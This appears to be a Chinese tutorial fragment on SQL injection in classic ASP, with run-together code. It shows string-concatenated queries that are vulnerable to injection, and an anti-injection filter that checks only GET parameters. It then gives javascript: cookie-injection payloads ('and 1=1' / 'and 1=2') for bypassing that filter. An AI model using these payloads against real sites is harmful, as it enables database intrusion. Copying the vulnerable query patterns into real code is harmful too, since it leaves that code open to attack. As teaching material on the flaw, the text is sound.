<%//数字型Response.Expires=0dim sqldim rsarticleid=request("film2")urlid=request("film1")if articleid="" or urlid="" thenresponse.write"非法操作"response.endend
ifset rs=server.createobject("adodb.recordset")sql="select serverip,canlook,movietype,title from learning where articleid="&articleidrs.open sql,conn,1,1serverip=rs("serverip")okip=Request.Servervariables("HTTP_X_FORWARDED_FOR")If okip="" Then okip=Request.Servervariables("REMOTE_ADDR")set
rst8=server.createobject("adodb.recordset")sql="select okip,testok,endtimes from okip where okip='"&okip&"'"rst8.open sql,conn,1,1if rst8.eof and rst8.bof thenif request.cookies("userid")="" or request.cookies("password")="" then%>
<%//字符型if request("username")<>"" thenset rst=server.createobject("adodb.recordset")sql="select user from users where username='"&request("username")&"'
and password='"&md5(request("pws"))&"'" //注意两者的sqlrst.open sql,conn,1,3%>
<%//Cookies注入'SQL通用防注入程序'Aseanleung'--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstrDim
fso1,all_tree2,file1,files,filez,fs1,zruseripIf Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)'自定义需要过滤的字串,用 "|" 分隔Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script"
(阻止了常用的SQL注入的语句)Fy_Inf = split(Fy_In,"|")For Each Fy_Get In Request.QueryStringFor Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Thenzruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")Response.Write
"内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!"Response.Write "如是要攻击网站,系统记录了你的操作↓"Response.Write "操作IP:"&zruserip&""Response.Write "操作时间:"&Now&""Response.Write "操作页面:"&Request.ServerVariables("URL")&""Response.Write "提交方式:GET"Response.Write "提交参数:"&Fy_Get&""Response.Write
"提交数据:"&Request.QueryString(Fy_Get)%>
//cookie注入其原理也和平时的注入一样,只不过提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
程序阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,导致了Request.cookie方式来提交变量的值,而绕过了SQL防注入件<br />
cookies的注入语句:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));
判断cookies注入js语句:
javascript:alert(document.cookie="参数= "+escape("参数值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0); javascript:alert(document.cookie="参数="+escape("参数值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0);